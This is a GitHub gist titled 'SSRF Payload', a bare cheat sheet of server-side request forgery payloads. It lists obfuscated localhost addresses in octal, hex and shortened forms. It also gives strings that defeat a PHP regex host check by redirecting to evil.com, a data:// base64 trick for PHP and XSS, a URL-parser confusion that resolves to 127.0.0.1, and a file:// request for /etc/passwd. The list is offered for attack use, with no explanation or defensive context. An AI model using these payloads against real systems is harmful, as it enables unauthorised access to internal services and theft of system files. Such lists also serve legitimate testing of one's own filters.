MagicBlueCH/SSRF.md

Last active April 11, 2018 12:13

Star (0) You must be signed in to star a gist
Fork (0) You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/MagicBlueCH/8937ae9f165fc7506342a3fa79898ca3.js"></script>
Save MagicBlueCH/8937ae9f165fc7506342a3fa79898ca3 to your computer and use it in GitHub Desktop.

Download ZIP

SSRF Payload

Raw

SSRF.md

SSRF-localhost

0
127.00.1
127.0.01
0.00.0
0.0.00
127.1.0.1
127.10.1
127.1.01
0177.1
0177.0001.0001
0x0.0x0.0x0.0x0
0000.0000.0000.0000
0x7f.0x0.0x0.0x1
0177.0000.0000.0001
0177.0001.0000..0001
0x7f.0x1.0x0.0x1
0x7f.0x1.0x1
localtest.me

SSRF && Redirect && CORS

(preg_match('/google.com$/', $host))

evil.com:80\google.com => evil.com
evil.com:80;google.com => evil.com
evil.com:80,google.com => evil.com
evil$google.com => evil.com
data://text.google.com/plain;base64,<...b64...> (PHP && XSS)
http://foo@[cafebabe.cf]@google.com:3306/ => cafebabe.cf => 127.0.0.1
file://www.google.com/etc/passwd

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment